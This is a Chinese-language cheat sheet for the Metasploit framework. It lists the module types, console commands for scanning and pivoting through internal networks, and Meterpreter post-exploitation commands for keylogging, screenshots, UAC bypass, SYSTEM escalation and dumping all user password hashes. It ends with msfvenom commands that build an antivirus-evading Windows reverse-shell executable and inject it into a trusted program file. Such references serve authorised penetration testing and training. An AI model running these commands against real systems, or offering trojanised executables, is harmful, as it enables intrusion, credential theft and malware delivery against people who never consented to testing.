Metasploit framework 简称 msf 是一个全流程的渗透测试框架
一般来说有如下的几类模块
1. Payload 模块:Payload 模块是一种主要用于攻击的模块,它们包含可以在目标系统上执行的恶意代码。Payload 模块可以用来获取远程访问权限、执行命令、窃取数据等。
2. Exploit 模块:Exploit 模块是一种用于利用漏洞的模块,它们可以通过利用目标系统上的漏洞来执行攻击。Exploit 模块通常需要与 Payload 模块一起使用,以便在目标系统上执行恶意代码。
3. Auxiliary 模块:Auxiliary 模块是一种用于执行辅助任务的模块,它们可以用于扫描目标系统、收集信息、执行漏洞验证等。Auxiliary 模块通常不需要与 Payload 或 Exploit 模块一起使用,因为它们不涉及攻击目标系统。
4. Post 模块:Post 模块是一种用于在目标系统上执行后期攻击的模块,它们可以用于在成功攻击目标系统后执行各种任务,例如窃取密码、收集数据、横向移动等。
5. Encoder 模块:Encoder 模块是一种用于混淆 Payload 模块的模块,以便绕过安全防御系统。Encoder 模块通常与 Payload 模块一起使用。
6. NOP 模块:NOP 模块是一种用于在 Payload 模块中插入 NOP(No Operation)指令的模块,以便在缓冲区溢出攻击中对目标系统进行填充。
msfdb run #msfdb init初始化 msfconsole -q #进入控制台 show -h #查看所有模块分类 search <NAME> #搜索漏洞 uss <NAME> #使用某个模块 show options #查看当前模块参数 show targets #查看目标主机 info #查看模块信息 set <KEY> <VALUE> #设置参数set、unset、setg、unsetg check #验证漏洞 show missing #查看当前模块缺失的参数 run/exploit [-j后台] #执行当前模块 back #返回上一层 db_nmap #调用msf中的namp进行扫描 services [-p {PORT}筛选端口] [-S {NAME}筛选服务] #查看db_namp等扫描控制器获取到信息 creds #查看已获得的身份信息 sessions [-l列表] [-i {NUM}返回] #查看目前会话/切换会话 route add 192.168.1.0/24 [SESSION_ID] route print #添加路由(msf里面) use auxiliary/scanner/portscan/tcp #扫描内网 use multi/manage/autoroute #会话穿透内网 use auxiliary/server/socks_proxy #打开socks代理 msfconsole -r setup.rc #自动化配置
Payload 还可以配合一些参数进行自动化攻击
set AutoRunScript windows/gather/enum_logged_on_users #设置PayLoad自动执行获取用户
对于 meterpreter 的 shell 还有很多特殊用法
help #meterpreter的shell可以使用help查看更多信息 background #退出当前shell sysinfo #系统信息 getuid #查看账户权限 getpid #目前后门的进程id ps #获取进程列表 migrate [PID] #迁移到别的进程 upload [SOURCE] [TARGET] download [SOURCE] [TARGET] #上传下载文件,Windows要双斜线 shell #进入shell execute #执行程序 transport list #查看当前会话的可以协议 transport add -t reverse_tcp [-l {HOST}] [-p {PORT}] #会话中添加新的传输协议,并指定传输类型(需要在use multi/handler设置新的监听器) transport next #切换到新的协议 screenshot #截图 keyscan start keyscan stop #键盘记录 load powershell #加载powershell search bypassuac #可以通过exploit绕过UAC load kiwi #加载kiwi模块,与密码相关,help可以查看新模块 getsystem #以SYSTEM身份运行 creds_all #下载所有用户hash
msfvenom 生成包含 payload 的可执行程序
msfvenom -p windows/shell_reverse_tcp LHOST=<HOST> LPORT=<PORT> -f exe -e x86/shikata_ga_nai -o shell_reverse.exe #生成一个Windows反弹Shell的可执行文件,并使用Encoder模块x86/shikata_ga_nai来绕过基于特征码的AV检测 msfvenom -p windows/shell_reverse_tcp LHOST=<HOST> LPORT=<PORT> -f exe -e x86/shikata_ga_nai -i 4 -x Trust.exe -o shell_reverse.exe #将生成的Payload注入到一个可信PE文件中,例如,并生成一个新文件: